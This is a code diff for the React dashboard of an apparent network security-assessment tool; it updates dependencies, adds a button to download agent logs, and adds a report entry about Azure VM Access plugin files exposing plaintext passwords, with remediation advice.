"null-loader": "^0.1.1", "null-loader": "^0.1.1",
"open": "0.0.5", "open": "0.0.5",
"phantomjs-prebuilt": "^2.1.15", "phantomjs-prebuilt": "^2.1.16",
"react-addons-test-utils": "^15.0.0", "react-addons-test-utils": "^15.6.2",
"react-hot-loader": "^1.2.9", "react-hot-loader": "^1.2.9",
"rimraf": "^2.4.3", "rimraf": "^2.6.2",
"style-loader": "^0.13.2", "style-loader": "^0.13.2",
"url-loader": "^0.5.9", "url-loader": "^0.5.9",
"webpack": "^1.15.0", "webpack": "^1.15.0",
@ -62,26 +61,29 @@
}, },
"dependencies": { "dependencies": {
"bootstrap": "^3.3.7", "bootstrap": "^3.3.7",
"core-js": "^2.5.1", "core-js": "^2.5.5",
"downloadjs": "^1.4.7",
"fetch": "^1.1.0", "fetch": "^1.1.0",
"js-file-download": "^0.4.1", "js-file-download": "^0.4.1",
"json-loader": "^0.5.7", "json-loader": "^0.5.7",
"jwt-decode": "^2.2.0", "jwt-decode": "^2.2.0",
"moment": "^2.22.1",
"normalize.css": "^4.0.0", "normalize.css": "^4.0.0",
"prop-types": "^15.5.10", "npm": "^5.8.0",
"prop-types": "^15.6.1",
"rc-progress": "^2.2.5", "rc-progress": "^2.2.5",
"react": "^15.6.1", "react": "^15.6.2",
"react-bootstrap": "^0.31.2", "react-bootstrap": "^0.31.5",
"react-copy-to-clipboard": "^5.0.0", "react-copy-to-clipboard": "^5.0.1",
"react-data-components": "^1.1.1", "react-data-components": "^1.2.0",
"react-dimensions": "^1.3.0", "react-dimensions": "^1.3.0",
"react-dom": "^15.6.1", "react-dom": "^15.6.2",
"react-fa": "^4.2.0", "react-fa": "^4.2.0",
"react-graph-vis": "^0.1.3", "react-graph-vis": "^0.1.4",
"react-json-tree": "^0.10.9", "react-json-tree": "^0.10.9",
"react-jsonschema-form": "^0.50.1", "react-jsonschema-form": "^0.50.1",
"react-modal-dialog": "^4.0.7", "react-modal-dialog": "^4.0.7",
"react-redux": "^5.0.6", "react-redux": "^5.0.7",
"react-router-dom": "^4.2.2", "react-router-dom": "^4.2.2",
"react-table": "^6.7.4", "react-table": "^6.7.4",
"react-toggle": "^4.0.1", "react-toggle": "^4.0.1",

View File

@ -2,6 +2,7 @@ import React from 'react';
import {Icon} from 'react-fa'; import {Icon} from 'react-fa';
import Toggle from 'react-toggle'; import Toggle from 'react-toggle';
import {OverlayTrigger, Tooltip} from 'react-bootstrap'; import {OverlayTrigger, Tooltip} from 'react-bootstrap';
import download from 'downloadjs'
import AuthComponent from '../../AuthComponent'; import AuthComponent from '../../AuthComponent';
class PreviewPaneComponent extends AuthComponent { class PreviewPaneComponent extends AuthComponent {
@ -82,16 +83,56 @@ class PreviewPaneComponent extends AuthComponent {
</th> </th>
<td> <td>
<Toggle id={asset.id} checked={!asset.config.alive} icons={false} disabled={asset.dead} <Toggle id={asset.id} checked={!asset.config.alive} icons={false} disabled={asset.dead}
onChange={(e) => this.forceKill(e, asset)} /> onChange={(e) => this.forceKill(e, asset)}/>
</td> </td>
</tr> </tr>
); );
} }
unescapeLog(st) {
return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string.
.replace(/\\n/g, "\n")
.replace(/\\r/g, "\r")
.replace(/\\t/g, "\t")
.replace(/\\b/g, "\b")
.replace(/\\f/g, "\f")
.replace(/\\"/g, '\"')
.replace(/\\'/g, "\'")
.replace(/\\&/g, "\&");
}
downloadLog(asset) {
this.authFetch('/api/log?id=' + asset.id)
.then(res => res.json())
.then(res => {
let timestamp = res['timestamp'];
timestamp = timestamp.substr(0, timestamp.indexOf('.'));
let filename = res['monkey_label'].split(':').join('-') + ' - ' + timestamp + '.log';
let logContent = this.unescapeLog(res['log']);
download(logContent, filename, 'text/plain');
});
}
downloadLogRow(asset) {
return (
<tr>
<th>
Download Log
</th>
<td>
<a type="button" className="btn btn-primary"
disabled={!asset.has_log}
onClick={() => this.downloadLog(asset)}>Download</a>
</td>
</tr>
);
}
exploitsTimeline(asset) { exploitsTimeline(asset) {
if (asset.exploits.length === 0) { if (asset.exploits.length === 0) {
return (<div />); return (<div/>);
} }
return ( return (
@ -101,9 +142,9 @@ class PreviewPaneComponent extends AuthComponent {
{this.generateToolTip('Timeline of exploit attempts. Red is successful. Gray is unsuccessful')} {this.generateToolTip('Timeline of exploit attempts. Red is successful. Gray is unsuccessful')}
</h4> </h4>
<ul className="timeline"> <ul className="timeline">
{ asset.exploits.map(exploit => {asset.exploits.map(exploit =>
<li key={exploit.timestamp}> <li key={exploit.timestamp}>
<div className={'bullet ' + (exploit.result ? 'bad' : '')} /> <div className={'bullet ' + (exploit.result ? 'bad' : '')}/>
<div>{new Date(exploit.timestamp).toLocaleString()}</div> <div>{new Date(exploit.timestamp).toLocaleString()}</div>
<div>{exploit.origin}</div> <div>{exploit.origin}</div>
<div>{exploit.exploiter}</div> <div>{exploit.exploiter}</div>
@ -141,6 +182,7 @@ class PreviewPaneComponent extends AuthComponent {
{this.servicesRow(asset)} {this.servicesRow(asset)}
{this.accessibleRow(asset)} {this.accessibleRow(asset)}
{this.forceKillRow(asset)} {this.forceKillRow(asset)}
{this.downloadLogRow(asset)}
</tbody> </tbody>
</table> </table>
{this.exploitsTimeline(asset)} {this.exploitsTimeline(asset)}
@ -173,9 +215,9 @@ class PreviewPaneComponent extends AuthComponent {
<div> <div>
<h4 style={{'marginTop': '2em'}}>Timeline</h4> <h4 style={{'marginTop': '2em'}}>Timeline</h4>
<ul className="timeline"> <ul className="timeline">
{ edge.exploits.map(exploit => {edge.exploits.map(exploit =>
<li key={exploit.timestamp}> <li key={exploit.timestamp}>
<div className={'bullet ' + (exploit.result ? 'bad' : '')} /> <div className={'bullet ' + (exploit.result ? 'bad' : '')}/>
<div>{new Date(exploit.timestamp).toLocaleString()}</div> <div>{new Date(exploit.timestamp).toLocaleString()}</div>
<div>{exploit.origin}</div> <div>{exploit.origin}</div>
<div>{exploit.exploiter}</div> <div>{exploit.exploiter}</div>
@ -221,9 +263,9 @@ class PreviewPaneComponent extends AuthComponent {
return ( return (
<div className="preview-pane"> <div className="preview-pane">
{ !info ? {!info ?
<span> <span>
<Icon name="hand-o-left" style={{'marginRight': '0.5em'}} /> <Icon name="hand-o-left" style={{'marginRight': '0.5em'}}/>
Select an item on the map for a detailed look Select an item on the map for a detailed look
</span> </span>
: :

View File

@ -21,7 +21,8 @@ class ReportPageComponent extends AuthComponent {
ELASTIC: 2, ELASTIC: 2,
SAMBACRY: 3, SAMBACRY: 3,
SHELLSHOCK: 4, SHELLSHOCK: 4,
CONFICKER: 5 CONFICKER: 5,
AZURE: 6
}; };
Warning = Warning =
@ -313,6 +314,11 @@ class ReportPageComponent extends AuthComponent {
{this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] ? {this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] ?
<li>Machines are accessible using passwords supplied by the user during the Monkeys <li>Machines are accessible using passwords supplied by the user during the Monkeys
configuration.</li> : null} configuration.</li> : null}
{this.state.report.overview.issues[this.Issue.AZURE] ?
<li>Azure machines expose plaintext passwords. (<a
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
>More info</a>)</li> : null}
</ul> </ul>
</div> </div>
: :
@ -618,6 +624,21 @@ class ReportPageComponent extends AuthComponent {
); );
} }
generateAzureIssue(issue) {
return (
<li>
Delete VM Access plugin configuration files.
<CollapsibleWellComponent>
Credentials could be stolen from <span
className="label label-primary">{issue.machine}</span> for the following users <span
className="label label-primary">{issue.users}</span>. Read more about the security issue and remediation <a
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
>here</a>.
</CollapsibleWellComponent>
</li>
);
}
generateConfickerIssue(issue) { generateConfickerIssue(issue) {
return ( return (
<li> <li>
@ -662,6 +683,8 @@ class ReportPageComponent extends AuthComponent {
); );
} }
generateIssue = (issue) => { generateIssue = (issue) => {
let data; let data;
switch (issue.type) { switch (issue.type) {
@ -701,6 +724,9 @@ class ReportPageComponent extends AuthComponent {
case 'tunnel': case 'tunnel':
data = this.generateTunnelIssue(issue); data = this.generateTunnelIssue(issue);
break; break;
case 'azure_password':
data = this.generateAzureIssue(issue);
break;
} }
return data; return data;
}; };

Binary file not shown.

Before

Width:  |  Height:  |  Size: 24 KiB

After

Width:  |  Height:  |  Size: 108 KiB

View File

@ -13,4 +13,5 @@ jsonschema
netifaces netifaces
ipaddress ipaddress
enum34 enum34
PyCrypto
virtualenv virtualenv

View File

@ -13,3 +13,4 @@ jsonschema
netifaces netifaces
ipaddress ipaddress
enum34 enum34
PyCrypto